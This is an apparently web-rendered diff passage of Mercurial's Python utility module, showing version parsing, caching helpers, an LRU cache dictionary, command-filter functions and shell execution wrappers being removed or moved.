|
|||
1042 | if not self.states: |
|
|||
1043 | return |
|
|||
1044 |
|
||||
1045 | self.fh.write('%s> settimeout(%r)\n' % (self.name, value)) |
|
|||
1046 |
|
||||
1047 | def gettimeout(self, res): |
|
|||
1048 | if not self.states: |
|
|||
1049 | return |
|
|||
1050 |
|
||||
1051 | self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res)) |
|
|||
1052 |
|
||||
1053 | def setsockopt(self, level, optname, value): |
|
|||
1054 | if not self.states: |
|
|||
1055 | return |
|
|||
1056 |
|
||||
1057 | self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % ( |
|
|||
1058 | self.name, level, optname, value)) |
|
|||
1059 |
|
||||
1060 | def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True, |
|
|||
1061 | logdata=False, logdataapis=True): |
|
|||
1062 | """Turn a socket into a logging socket.""" |
|
|||
1063 |
|
||||
1064 | observer = socketobserver(logh, name, reads=reads, writes=writes, |
|
|||
1065 | states=states, logdata=logdata, |
|
|||
1066 | logdataapis=logdataapis) |
|
|||
1067 | return socketproxy(fh, observer) |
|
|||
1068 |
|
||||
1069 | def version(): |
|
|||
1070 | """Return version information if available.""" |
|
|||
1071 | try: |
|
|||
1072 | from . import __version__ |
|
|||
1073 | return __version__.version |
|
|||
1074 | except ImportError: |
|
|||
1075 | return 'unknown' |
|
|||
1076 |
|
||||
1077 | def versiontuple(v=None, n=4): |
|
|||
1078 | """Parses a Mercurial version string into an N-tuple. |
|
|||
1079 |
|
||||
1080 | The version string to be parsed is specified with the ``v`` argument. |
|
|||
1081 | If it isn't defined, the current Mercurial version string will be parsed. |
|
|||
1082 |
|
||||
1083 | ``n`` can be 2, 3, or 4. Here is how some version strings map to |
|
|||
1084 | returned values: |
|
|||
1085 |
|
||||
1086 | >>> v = b'3.6.1+190-df9b73d2d444' |
|
|||
1087 | >>> versiontuple(v, 2) |
|
|||
1088 | (3, 6) |
|
|||
1089 | >>> versiontuple(v, 3) |
|
|||
1090 | (3, 6, 1) |
|
|||
1091 | >>> versiontuple(v, 4) |
|
|||
1092 | (3, 6, 1, '190-df9b73d2d444') |
|
|||
1093 |
|
||||
1094 | >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
|
|||
1095 | (3, 6, 1, '190-df9b73d2d444+20151118') |
|
|||
1096 |
|
||||
1097 | >>> v = b'3.6' |
|
|||
1098 | >>> versiontuple(v, 2) |
|
|||
1099 | (3, 6) |
|
|||
1100 | >>> versiontuple(v, 3) |
|
|||
1101 | (3, 6, None) |
|
|||
1102 | >>> versiontuple(v, 4) |
|
|||
1103 | (3, 6, None, None) |
|
|||
1104 |
|
||||
1105 | >>> v = b'3.9-rc' |
|
|||
1106 | >>> versiontuple(v, 2) |
|
|||
1107 | (3, 9) |
|
|||
1108 | >>> versiontuple(v, 3) |
|
|||
1109 | (3, 9, None) |
|
|||
1110 | >>> versiontuple(v, 4) |
|
|||
1111 | (3, 9, None, 'rc') |
|
|||
1112 |
|
||||
1113 | >>> v = b'3.9-rc+2-02a8fea4289b' |
|
|||
1114 | >>> versiontuple(v, 2) |
|
|||
1115 | (3, 9) |
|
|||
1116 | >>> versiontuple(v, 3) |
|
|||
1117 | (3, 9, None) |
|
|||
1118 | >>> versiontuple(v, 4) |
|
|||
1119 | (3, 9, None, 'rc+2-02a8fea4289b') |
|
|||
1120 | """ |
|
|||
1121 | if not v: |
|
|||
1122 | v = version() |
|
|||
1123 | parts = remod.split('[\+-]', v, 1) |
|
|||
1124 | if len(parts) == 1: |
|
|||
1125 | vparts, extra = parts[0], None |
|
|||
1126 | else: |
|
|||
1127 | vparts, extra = parts |
|
|||
1128 |
|
||||
1129 | vints = [] |
|
|||
1130 | for i in vparts.split('.'): |
|
|||
1131 | try: |
|
|||
1132 | vints.append(int(i)) |
|
|||
1133 | except ValueError: |
|
|||
1134 | break |
|
|||
1135 | # (3, 6) -> (3, 6, None) |
|
|||
1136 | while len(vints) < 3: |
|
|||
1137 | vints.append(None) |
|
|||
1138 |
|
||||
1139 | if n == 2: |
|
|||
1140 | return (vints[0], vints[1]) |
|
|||
1141 | if n == 3: |
|
|||
1142 | return (vints[0], vints[1], vints[2]) |
|
|||
1143 | if n == 4: |
|
|||
1144 | return (vints[0], vints[1], vints[2], extra) |
|
|||
1145 |
|
||||
1146 | def cachefunc(func): |
|
|||
1147 | '''cache the result of function calls''' |
|
|||
1148 | # XXX doesn't handle keywords args |
|
|||
1149 | if func.__code__.co_argcount == 0: |
|
|||
1150 | cache = [] |
|
|||
1151 | def f(): |
|
|||
1152 | if len(cache) == 0: |
|
|||
1153 | cache.append(func()) |
|
|||
1154 | return cache[0] |
|
|||
1155 | return f |
|
|||
1156 | cache = {} |
|
|||
1157 | if func.__code__.co_argcount == 1: |
|
|||
1158 | # we gain a small amount of time because |
|
|||
1159 | # we don't need to pack/unpack the list |
|
|||
1160 | def f(arg): |
|
|||
1161 | if arg not in cache: |
|
|||
1162 | cache[arg] = func(arg) |
|
|||
1163 | return cache[arg] |
|
|||
1164 | else: |
|
|||
1165 | def f(*args): |
|
|||
1166 | if args not in cache: |
|
|||
1167 | cache[args] = func(*args) |
|
|||
1168 | return cache[args] |
|
|||
1169 |
|
||||
1170 | return f |
|
|||
1171 |
|
||||
1172 | class cow(object): |
|
|||
1173 | """helper class to make copy-on-write easier |
|
|||
1174 |
|
||||
1175 | Call preparewrite before doing any writes. |
|
|||
1176 | """ |
|
|||
1177 |
|
||||
1178 | def preparewrite(self): |
|
|||
1179 | """call this before writes, return self or a copied new object""" |
|
|||
1180 | if getattr(self, '_copied', 0): |
|
|||
1181 | self._copied -= 1 |
|
|||
1182 | return self.__class__(self) |
|
|||
1183 | return self |
|
|||
1184 |
|
||||
1185 | def copy(self): |
|
|||
1186 | """always do a cheap copy""" |
|
|||
1187 | self._copied = getattr(self, '_copied', 0) + 1 |
|
|||
1188 | return self |
|
|||
1189 |
|
||||
1190 | class sortdict(collections.OrderedDict): |
|
|||
1191 | '''a simple sorted dictionary |
|
|||
1192 |
|
||||
1193 | >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
|
|||
1194 | >>> d2 = d1.copy() |
|
|||
1195 | >>> d2 |
|
|||
1196 | sortdict([('a', 0), ('b', 1)]) |
|
|||
1197 | >>> d2.update([(b'a', 2)]) |
|
|||
1198 | >>> list(d2.keys()) # should still be in last-set order |
|
|||
1199 | ['b', 'a'] |
|
|||
1200 | ''' |
|
|||
1201 |
|
||||
1202 | def __setitem__(self, key, value): |
|
|||
1203 | if key in self: |
|
|||
1204 | del self[key] |
|
|||
1205 | super(sortdict, self).__setitem__(key, value) |
|
|||
1206 |
|
||||
1207 | if pycompat.ispypy: |
|
|||
1208 | # __setitem__() isn't called as of PyPy 5.8.0 |
|
|||
1209 | def update(self, src): |
|
|||
1210 | if isinstance(src, dict): |
|
|||
1211 | src = src.iteritems() |
|
|||
1212 | for k, v in src: |
|
|||
1213 | self[k] = v |
|
|||
1214 |
|
||||
1215 | class cowdict(cow, dict): |
|
|||
1216 | """copy-on-write dict |
|
|||
1217 |
|
||||
1218 | Be sure to call d = d.preparewrite() before writing to d. |
|
|||
1219 |
|
||||
1220 | >>> a = cowdict() |
|
|||
1221 | >>> a is a.preparewrite() |
|
|||
1222 | True |
|
|||
1223 | >>> b = a.copy() |
|
|||
1224 | >>> b is a |
|
|||
1225 | True |
|
|||
1226 | >>> c = b.copy() |
|
|||
1227 | >>> c is a |
|
|||
1228 | True |
|
|||
1229 | >>> a = a.preparewrite() |
|
|||
1230 | >>> b is a |
|
|||
1231 | False |
|
|||
1232 | >>> a is a.preparewrite() |
|
|||
1233 | True |
|
|||
1234 | >>> c = c.preparewrite() |
|
|||
1235 | >>> b is c |
|
|||
1236 | False |
|
|||
1237 | >>> b is b.preparewrite() |
|
|||
1238 | True |
|
|||
1239 | """ |
|
|||
1240 |
|
||||
1241 | class cowsortdict(cow, sortdict): |
|
|||
1242 | """copy-on-write sortdict |
|
|||
1243 |
|
||||
1244 | Be sure to call d = d.preparewrite() before writing to d. |
|
|||
1245 | """ |
|
|||
1246 |
|
||||
1247 | class transactional(object): |
|
|||
1248 | """Base class for making a transactional type into a context manager.""" |
|
|||
1249 | __metaclass__ = abc.ABCMeta |
|
|||
1250 |
|
||||
1251 | @abc.abstractmethod |
|
|||
1252 | def close(self): |
|
|||
1253 | """Successfully closes the transaction.""" |
|
|||
1254 |
|
||||
1255 | @abc.abstractmethod |
|
|||
1256 | def release(self): |
|
|||
1257 | """Marks the end of the transaction. |
|
|||
1258 |
|
||||
1259 | If the transaction has not been closed, it will be aborted. |
|
|||
1260 | """ |
|
|||
1261 |
|
||||
1262 | def __enter__(self): |
|
|||
1263 | return self |
|
|||
1264 |
|
||||
1265 | def __exit__(self, exc_type, exc_val, exc_tb): |
|
|||
1266 | try: |
|
|||
1267 | if exc_type is None: |
|
|||
1268 | self.close() |
|
|||
1269 | finally: |
|
|||
1270 | self.release() |
|
|||
1271 |
|
||||
1272 | @contextlib.contextmanager |
|
|||
1273 | def acceptintervention(tr=None): |
|
|||
1274 | """A context manager that closes the transaction on InterventionRequired |
|
|||
1275 |
|
||||
1276 | If no transaction was provided, this simply runs the body and returns |
|
|||
1277 | """ |
|
|||
1278 | if not tr: |
|
|||
1279 | yield |
|
|||
1280 | return |
|
|||
1281 | try: |
|
|||
1282 | yield |
|
|||
1283 | tr.close() |
|
|||
1284 | except error.InterventionRequired: |
|
|||
1285 | tr.close() |
|
|||
1286 | raise |
|
|||
1287 | finally: |
|
|||
1288 | tr.release() |
|
|||
1289 |
|
||||
1290 | @contextlib.contextmanager |
|
|||
1291 | def nullcontextmanager(): |
|
|||
1292 | yield |
|
|||
1293 |
|
||||
1294 | class _lrucachenode(object): |
|
|||
1295 | """A node in a doubly linked list. |
|
|||
1296 |
|
||||
1297 | Holds a reference to nodes on either side as well as a key-value |
|
|||
1298 | pair for the dictionary entry. |
|
|||
1299 | """ |
|
|||
1300 | __slots__ = (u'next', u'prev', u'key', u'value') |
|
|||
1301 |
|
||||
1302 | def __init__(self): |
|
|||
1303 | self.next = None |
|
|||
1304 | self.prev = None |
|
|||
1305 |
|
||||
1306 | self.key = _notset |
|
|||
1307 | self.value = None |
|
|||
1308 |
|
||||
1309 | def markempty(self): |
|
|||
1310 | """Mark the node as emptied.""" |
|
|||
1311 | self.key = _notset |
|
|||
1312 |
|
||||
1313 | class lrucachedict(object): |
|
|||
1314 | """Dict that caches most recent accesses and sets. |
|
|||
1315 |
|
||||
1316 | The dict consists of an actual backing dict - indexed by original |
|
|||
1317 | key - and a doubly linked circular list defining the order of entries in |
|
|||
1318 | the cache. |
|
|||
1319 |
|
||||
1320 | The head node is the newest entry in the cache. If the cache is full, |
|
|||
1321 | we recycle head.prev and make it the new head. Cache accesses result in |
|
|||
1322 | the node being moved to before the existing head and being marked as the |
|
|||
1323 | new head node. |
|
|||
1324 | """ |
|
|||
1325 | def __init__(self, max): |
|
|||
1326 | self._cache = {} |
|
|||
1327 |
|
||||
1328 | self._head = head = _lrucachenode() |
|
|||
1329 | head.prev = head |
|
|||
1330 | head.next = head |
|
|||
1331 | self._size = 1 |
|
|||
1332 | self._capacity = max |
|
|||
1333 |
|
||||
1334 | def __len__(self): |
|
|||
1335 | return len(self._cache) |
|
|||
1336 |
|
||||
1337 | def __contains__(self, k): |
|
|||
1338 | return k in self._cache |
|
|||
1339 |
|
||||
1340 | def __iter__(self): |
|
|||
1341 | # We don't have to iterate in cache order, but why not. |
|
|||
1342 | n = self._head |
|
|||
1343 | for i in range(len(self._cache)): |
|
|||
1344 | yield n.key |
|
|||
1345 | n = n.next |
|
|||
1346 |
|
||||
1347 | def __getitem__(self, k): |
|
|||
1348 | node = self._cache[k] |
|
|||
1349 | self._movetohead(node) |
|
|||
1350 | return node.value |
|
|||
1351 |
|
||||
1352 | def __setitem__(self, k, v): |
|
|||
1353 | node = self._cache.get(k) |
|
|||
1354 | # Replace existing value and mark as newest. |
|
|||
1355 | if node is not None: |
|
|||
1356 | node.value = v |
|
|||
1357 | self._movetohead(node) |
|
|||
1358 | return |
|
|||
1359 |
|
||||
1360 | if self._size < self._capacity: |
|
|||
1361 | node = self._addcapacity() |
|
|||
1362 | else: |
|
|||
1363 | # Grab the last/oldest item. |
|
|||
1364 | node = self._head.prev |
|
|||
1365 |
|
||||
1366 | # At capacity. Kill the old entry. |
|
|||
1367 | if node.key is not _notset: |
|
|||
1368 | del self._cache[node.key] |
|
|||
1369 |
|
||||
1370 | node.key = k |
|
|||
1371 | node.value = v |
|
|||
1372 | self._cache[k] = node |
|
|||
1373 | # And mark it as newest entry. No need to adjust order since it |
|
|||
1374 | # is already self._head.prev. |
|
|||
1375 | self._head = node |
|
|||
1376 |
|
||||
1377 | def __delitem__(self, k): |
|
|||
1378 | node = self._cache.pop(k) |
|
|||
1379 | node.markempty() |
|
|||
1380 |
|
||||
1381 | # Temporarily mark as newest item before re-adjusting head to make |
|
|||
1382 | # this node the oldest item. |
|
|||
1383 | self._movetohead(node) |
|
|||
1384 | self._head = node.next |
|
|||
1385 |
|
||||
1386 | # Additional dict methods. |
|
|||
1387 |
|
||||
1388 | def get(self, k, default=None): |
|
|||
1389 | try: |
|
|||
1390 | return self._cache[k].value |
|
|||
1391 | except KeyError: |
|
|||
1392 | return default |
|
|||
1393 |
|
||||
1394 | def clear(self): |
|
|||
1395 | n = self._head |
|
|||
1396 | while n.key is not _notset: |
|
|||
1397 | n.markempty() |
|
|||
1398 | n = n.next |
|
|||
1399 |
|
||||
1400 | self._cache.clear() |
|
|||
1401 |
|
||||
1402 | def copy(self): |
|
|||
1403 | result = lrucachedict(self._capacity) |
|
|||
1404 | n = self._head.prev |
|
|||
1405 | # Iterate in oldest-to-newest order, so the copy has the right ordering |
|
|||
1406 | for i in range(len(self._cache)): |
|
|||
1407 | result[n.key] = n.value |
|
|||
1408 | n = n.prev |
|
|||
1409 | return result |
|
|||
1410 |
|
||||
1411 | def _movetohead(self, node): |
|
|||
1412 | """Mark a node as the newest, making it the new head. |
|
|||
1413 |
|
||||
1414 | When a node is accessed, it becomes the freshest entry in the LRU |
|
|||
1415 | list, which is denoted by self._head. |
|
|||
1416 |
|
||||
1417 | Visually, let's make ``N`` the new head node (* denotes head): |
|
|||
1418 |
|
||||
1419 | previous/oldest <-> head <-> next/next newest |
|
|||
1420 |
|
||||
1421 | ----<->--- A* ---<->----- |
|
|||
1422 | | | |
|
|||
1423 | E <-> D <-> N <-> C <-> B |
|
|||
1424 |
|
||||
1425 | To: |
|
|||
1426 |
|
||||
1427 | ----<->--- N* ---<->----- |
|
|||
1428 | | | |
|
|||
1429 | E <-> D <-> C <-> B <-> A |
|
|||
1430 |
|
||||
1431 | This requires the following moves: |
|
|||
1432 |
|
||||
1433 | C.next = D (node.prev.next = node.next) |
|
|||
1434 | D.prev = C (node.next.prev = node.prev) |
|
|||
1435 | E.next = N (head.prev.next = node) |
|
|||
1436 | N.prev = E (node.prev = head.prev) |
|
|||
1437 | N.next = A (node.next = head) |
|
|||
1438 | A.prev = N (head.prev = node) |
|
|||
1439 | """ |
|
|||
1440 | head = self._head |
|
|||
1441 | # C.next = D |
|
|||
1442 | node.prev.next = node.next |
|
|||
1443 | # D.prev = C |
|
|||
1444 | node.next.prev = node.prev |
|
|||
1445 | # N.prev = E |
|
|||
1446 | node.prev = head.prev |
|
|||
1447 | # N.next = A |
|
|||
1448 | # It is tempting to do just "head" here, however if node is |
|
|||
1449 | # adjacent to head, this will do bad things. |
|
|||
1450 | node.next = head.prev.next |
|
|||
1451 | # E.next = N |
|
|||
1452 | node.next.prev = node |
|
|||
1453 | # A.prev = N |
|
|||
1454 | node.prev.next = node |
|
|||
1455 |
|
||||
1456 | self._head = node |
|
|||
1457 |
|
||||
1458 | def _addcapacity(self): |
|
|||
1459 | """Add a node to the circular linked list. |
|
|||
1460 |
|
||||
1461 | The new node is inserted before the head node. |
|
|||
1462 | """ |
|
|||
1463 | head = self._head |
|
|||
1464 | node = _lrucachenode() |
|
|||
1465 | head.prev.next = node |
|
|||
1466 | node.prev = head.prev |
|
|||
1467 | node.next = head |
|
|||
1468 | head.prev = node |
|
|||
1469 | self._size += 1 |
|
|||
1470 | return node |
|
|||
1471 |
|
||||
1472 | def lrucachefunc(func): |
|
|||
1473 | '''cache most recent results of function calls''' |
|
|||
1474 | cache = {} |
|
|||
1475 | order = collections.deque() |
|
|||
1476 | if func.__code__.co_argcount == 1: |
|
|||
1477 | def f(arg): |
|
|||
1478 | if arg not in cache: |
|
|||
1479 | if len(cache) > 20: |
|
|||
1480 | del cache[order.popleft()] |
|
|||
1481 | cache[arg] = func(arg) |
|
|||
1482 | else: |
|
|||
1483 | order.remove(arg) |
|
|||
1484 | order.append(arg) |
|
|||
1485 | return cache[arg] |
|
|||
1486 | else: |
|
|||
1487 | def f(*args): |
|
|||
1488 | if args not in cache: |
|
|||
1489 | if len(cache) > 20: |
|
|||
1490 | del cache[order.popleft()] |
|
|||
1491 | cache[args] = func(*args) |
|
|||
1492 | else: |
|
|||
1493 | order.remove(args) |
|
|||
1494 | order.append(args) |
|
|||
1495 | return cache[args] |
|
|||
1496 |
|
||||
1497 | return f |
|
|||
1498 |
|
||||
1499 | class propertycache(object): |
|
|||
1500 | def __init__(self, func): |
|
|||
1501 | self.func = func |
|
|||
1502 | self.name = func.__name__ |
|
|||
1503 | def __get__(self, obj, type=None): |
|
|||
1504 | result = self.func(obj) |
|
|||
1505 | self.cachevalue(obj, result) |
|
|||
1506 | return result |
|
|||
1507 |
|
||||
1508 | def cachevalue(self, obj, value): |
|
|||
1509 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
|
|||
1510 | obj.__dict__[self.name] = value |
|
|||
1511 |
|
||||
1512 | def clearcachedproperty(obj, prop): |
|
|||
1513 | '''clear a cached property value, if one has been set''' |
|
|||
1514 | if prop in obj.__dict__: |
|
|||
1515 | del obj.__dict__[prop] |
|
|||
1516 |
|
||||
1517 | def pipefilter(s, cmd): |
|
|||
1518 | '''filter string S through command CMD, returning its output''' |
|
|||
1519 | p = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
|
|||
1520 | stdin=subprocess.PIPE, stdout=subprocess.PIPE) |
|
|||
1521 | pout, perr = p.communicate(s) |
|
|||
1522 | return pout |
|
|||
1523 |
|
||||
1524 | def tempfilter(s, cmd): |
|
|||
1525 | '''filter string S through a pair of temporary files with CMD. |
|
|||
1526 | CMD is used as a template to create the real command to be run, |
|
|||
1527 | with the strings INFILE and OUTFILE replaced by the real names of |
|
|||
1528 | the temporary files generated.''' |
|
|||
1529 | inname, outname = None, None |
|
|||
1530 | try: |
|
|||
1531 | infd, inname = tempfile.mkstemp(prefix='hg-filter-in-') |
|
|||
1532 | fp = os.fdopen(infd, r'wb') |
|
|||
1533 | fp.write(s) |
|
|||
1534 | fp.close() |
|
|||
1535 | outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-') |
|
|||
1536 | os.close(outfd) |
|
|||
1537 | cmd = cmd.replace('INFILE', inname) |
|
|||
1538 | cmd = cmd.replace('OUTFILE', outname) |
|
|||
1539 | code = os.system(cmd) |
|
|||
1540 | if pycompat.sysplatform == 'OpenVMS' and code & 1: |
|
|||
1541 | code = 0 |
|
|||
1542 | if code: |
|
|||
1543 | raise Abort(_("command '%s' failed: %s") % |
|
|||
1544 | (cmd, explainexit(code))) |
|
|||
1545 | return readfile(outname) |
|
|||
1546 | finally: |
|
|||
1547 | try: |
|
|||
1548 | if inname: |
|
|||
1549 | os.unlink(inname) |
|
|||
1550 | except OSError: |
|
|||
1551 | pass |
|
|||
1552 | try: |
|
|||
1553 | if outname: |
|
|||
1554 | os.unlink(outname) |
|
|||
1555 | except OSError: |
|
|||
1556 | pass |
|
|||
1557 |
|
||||
1558 | filtertable = { |
|
|||
1559 | 'tempfile:': tempfilter, |
|
|||
1560 | 'pipe:': pipefilter, |
|
|||
1561 | } |
|
|||
1562 |
|
||||
1563 | def filter(s, cmd): |
|
|||
1564 | "filter a string through a command that transforms its input to its output" |
|
|||
1565 | for name, fn in filtertable.iteritems(): |
|
|||
1566 | if cmd.startswith(name): |
|
|||
1567 | return fn(s, cmd[len(name):].lstrip()) |
|
|||
1568 | return pipefilter(s, cmd) |
|
|||
1569 |
|
||||
1570 | def binary(s): |
|
38 | def binary(s): | |
1571 | """return true if a string is binary data""" |
|
39 | """return true if a string is binary data""" | |
1572 | return bool(s and '\0' in s) |
|
40 | return bool(s and '\0' in s) | |
1573 |
|
41 | |||
1574 | def increasingchunks(source, min=1024, max=65536): |
|
|||
1575 | '''return no less than min bytes per chunk while data remains, |
|
|||
1576 | doubling min after each chunk until it reaches max''' |
|
|||
1577 | def log2(x): |
|
|||
1578 | if not x: |
|
|||
1579 | return 0 |
|
|||
1580 | i = 0 |
|
|||
1581 | while x: |
|
|||
1582 | x >>= 1 |
|
|||
1583 | i += 1 |
|
|||
1584 | return i - 1 |
|
|||
1585 |
|
||||
1586 | buf = [] |
|
|||
1587 | blen = 0 |
|
|||
1588 | for chunk in source: |
|
|||
1589 | buf.append(chunk) |
|
|||
1590 | blen += len(chunk) |
|
|||
1591 | if blen >= min: |
|
|||
1592 | if min < max: |
|
|||
1593 | min = min << 1 |
|
|||
1594 | nmin = 1 << log2(blen) |
|
|||
1595 | if nmin > min: |
|
|||
1596 | min = nmin |
|
|||
1597 | if min > max: |
|
|||
1598 | min = max |
|
|||
1599 | yield ''.join(buf) |
|
|||
1600 | blen = 0 |
|
|||
1601 | buf = [] |
|
|||
1602 | if buf: |
|
|||
1603 | yield ''.join(buf) |
|
|||
1604 |
|
||||
1605 | Abort = error.Abort |
|
|||
1606 |
|
||||
1607 | def always(fn): |
|
|||
1608 | return True |
|
|||
1609 |
|
||||
1610 | def never(fn): |
|
|||
1611 | return False |
|
|||
1612 |
|
||||
1613 | def nogc(func): |
|
|||
1614 | """disable garbage collector |
|
|||
1615 |
|
||||
1616 | Python's garbage collector triggers a GC each time a certain number of |
|
|||
1617 | container objects (the number being defined by gc.get_threshold()) are |
|
|||
1618 | allocated even when marked not to be tracked by the collector. Tracking has |
|
|||
1619 | no effect on when GCs are triggered, only on what objects the GC looks |
|
|||
1620 | into. As a workaround, disable GC while building complex (huge) |
|
|||
1621 | containers. |
|
|||
1622 |
|
||||
1623 | This garbage collector issue have been fixed in 2.7. But it still affect |
|
|||
1624 | CPython's performance. |
|
|||
1625 | """ |
|
|||
1626 | def wrapper(*args, **kwargs): |
|
|||
1627 | gcenabled = gc.isenabled() |
|
|||
1628 | gc.disable() |
|
|||
1629 | try: |
|
|||
1630 | return func(*args, **kwargs) |
|
|||
1631 | finally: |
|
|||
1632 | if gcenabled: |
|
|||
1633 | gc.enable() |
|
|||
1634 | return wrapper |
|
|||
1635 |
|
||||
1636 | if pycompat.ispypy: |
|
|||
1637 | # PyPy runs slower with gc disabled |
|
|||
1638 | nogc = lambda x: x |
|
|||
1639 |
|
||||
1640 | def pathto(root, n1, n2): |
|
|||
1641 | '''return the relative path from one place to another. |
|
|||
1642 | root should use os.sep to separate directories |
|
|||
1643 | n1 should use os.sep to separate directories |
|
|||
1644 | n2 should use "/" to separate directories |
|
|||
1645 | returns an os.sep-separated path. |
|
|||
1646 |
|
||||
1647 | If n1 is a relative path, it's assumed it's |
|
|||
1648 | relative to root. |
|
|||
1649 | n2 should always be relative to root. |
|
|||
1650 | ''' |
|
|||
1651 | if not n1: |
|
|||
1652 | return localpath(n2) |
|
|||
1653 | if os.path.isabs(n1): |
|
|||
1654 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
|
|||
1655 | return os.path.join(root, localpath(n2)) |
|
|||
1656 | n2 = '/'.join((pconvert(root), n2)) |
|
|||
1657 | a, b = splitpath(n1), n2.split('/') |
|
|||
1658 | a.reverse() |
|
|||
1659 | b.reverse() |
|
|||
1660 | while a and b and a[-1] == b[-1]: |
|
|||
1661 | a.pop() |
|
|||
1662 | b.pop() |
|
|||
1663 | b.reverse() |
|
|||
1664 | return pycompat.ossep.join((['..'] * len(a)) + b) or '.' |
|
|||
1665 |
|
||||
1666 | def mainfrozen(): |
|
|||
1667 | """return True if we are a frozen executable. |
|
|||
1668 |
|
||||
1669 | The code supports py2exe (most common, Windows only) and tools/freeze |
|
|||
1670 | (portable, not much used). |
|
|||
1671 | """ |
|
|||
1672 | return (safehasattr(sys, "frozen") or # new py2exe |
|
|||
1673 | safehasattr(sys, "importers") or # old py2exe |
|
|||
1674 | imp.is_frozen(u"__main__")) # tools/freeze |
|
|||
1675 |
|
||||
1676 | # the location of data files matching the source code |
|
|||
1677 | if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': |
|
|||
1678 | # executable version (py2exe) doesn't support __file__ |
|
|||
1679 | datapath = os.path.dirname(pycompat.sysexecutable) |
|
|||
1680 | else: |
|
|||
1681 | datapath = os.path.dirname(pycompat.fsencode(__file__)) |
|
|||
1682 |
|
||||
1683 | i18n.setdatapath(datapath) |
|
|||
1684 |
|
||||
1685 | _hgexecutable = None |
|
|||
1686 |
|
||||
1687 | def hgexecutable(): |
|
|||
1688 | """return location of the 'hg' executable. |
|
|||
1689 |
|
||||
1690 | Defaults to $HG or 'hg' in the search path. |
|
|||
1691 | """ |
|
|||
1692 | if _hgexecutable is None: |
|
|||
1693 | hg = encoding.environ.get('HG') |
|
|||
1694 | mainmod = sys.modules[r'__main__'] |
|
|||
1695 | if hg: |
|
|||
1696 | _sethgexecutable(hg) |
|
|||
1697 | elif mainfrozen(): |
|
|||
1698 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
|||
1699 | # Env variable set by py2app |
|
|||
1700 | _sethgexecutable(encoding.environ['EXECUTABLEPATH']) |
|
|||
1701 | else: |
|
|||
1702 | _sethgexecutable(pycompat.sysexecutable) |
|
|||
1703 | elif (os.path.basename( |
|
|||
1704 | pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'): |
|
|||
1705 | _sethgexecutable(pycompat.fsencode(mainmod.__file__)) |
|
|||
1706 | else: |
|
|||
1707 | exe = findexe('hg') or os.path.basename(sys.argv[0]) |
|
|||
1708 | _sethgexecutable(exe) |
|
|||
1709 | return _hgexecutable |
|
|||
1710 |
|
||||
1711 | def _sethgexecutable(path): |
|
|||
1712 | """set location of the 'hg' executable""" |
|
|||
1713 | global _hgexecutable |
|
|||
1714 | _hgexecutable = path |
|
|||
1715 |
|
||||
1716 | def _testfileno(f, stdf): |
|
|||
1717 | fileno = getattr(f, 'fileno', None) |
|
|||
1718 | try: |
|
|||
1719 | return fileno and fileno() == stdf.fileno() |
|
|||
1720 | except io.UnsupportedOperation: |
|
|||
1721 | return False # fileno() raised UnsupportedOperation |
|
|||
1722 |
|
||||
1723 | def isstdin(f): |
|
|||
1724 | return _testfileno(f, sys.__stdin__) |
|
|||
1725 |
|
||||
1726 | def isstdout(f): |
|
|||
1727 | return _testfileno(f, sys.__stdout__) |
|
|||
1728 |
|
||||
1729 | def shellenviron(environ=None): |
|
|||
1730 | """return environ with optional override, useful for shelling out""" |
|
|||
1731 | def py2shell(val): |
|
|||
1732 | 'convert python object into string that is useful to shell' |
|
|||
1733 | if val is None or val is False: |
|
|||
1734 | return '0' |
|
|||
1735 | if val is True: |
|
|||
1736 | return '1' |
|
|||
1737 | return pycompat.bytestr(val) |
|
|||
1738 | env = dict(encoding.environ) |
|
|||
1739 | if environ: |
|
|||
1740 | env.update((k, py2shell(v)) for k, v in environ.iteritems()) |
|
|||
1741 | env['HG'] = hgexecutable() |
|
|||
1742 | return env |
|
|||
1743 |
|
||||
1744 | def system(cmd, environ=None, cwd=None, out=None): |
|
|||
1745 | '''enhanced shell command execution. |
|
|||
1746 | run with environment maybe modified, maybe in different dir. |
|
|||
1747 |
|
||||
1748 | if out is specified, it is assumed to be a file-like object that has a |
|
|||
1749 | write() method. stdout and stderr will be redirected to out.''' |
|
|||
1750 | try: |
|
|||
1751 | stdout.flush() |
|
|||
1752 | except Exception: |
|
|||
1753 | pass |
|
|||
1754 | cmd = quotecommand(cmd) |
|
|||
1755 | env = shellenviron(environ) |
|
|||
1756 | if out is None or isstdout(out): |
|
|||
1757 | rc = subprocess.call(cmd, shell=True, close_fds=closefds, |
|
|||
1758 | env=env, cwd=cwd) |
|
|||
1759 | else: |
|
|||
1760 | proc = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
|
|||
1761 | env=env, cwd=cwd, stdout=subprocess.PIPE, |
|
|||
1762 | stderr=subprocess.STDOUT) |
|
|||
1763 | for line in iter(proc.stdout.readline, ''): |
|
|||
1764 | out.write(line) |
|
|||
1765 | proc.wait() |
|
|||
1766 | rc = proc.returncode |
|
|||
1767 | if pycompat.sysplatform == 'OpenVMS' and rc & 1: |
|
|||
1768 | rc = 0 |
|
|||
1769 | return rc |
|
|||
1770 |
|
||||
1771 | def checksignature(func): |
|
|||
1772 | '''wrap a function with code to check for calling errors''' |
|
|||
1773 | def check(*args, **kwargs): |
|
|||
1774 | try: |
|
|||
1775 | return func(*args, **kwargs) |
|
|||
1776 | except TypeError: |
|
|||
1777 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
|
|||
1778 | raise error.SignatureError |
|
|||
1779 | raise |
|
|||
1780 |
|
||||
1781 | return check |
|
|||
1782 |
|
||||
1783 | # a whilelist of known filesystems where hardlink works reliably |
|
|||
1784 | _hardlinkfswhitelist = { |
|
|||
1785 | 'btrfs', |
|
|||
1786 | 'ext2', |
|
|||
1787 | 'ext3', |
|
|||
1788 | 'ext4', |
|
|||
1789 | 'hfs', |
|
|||
1790 | 'jfs', |
|
|||
1791 | 'NTFS', |
|
|||
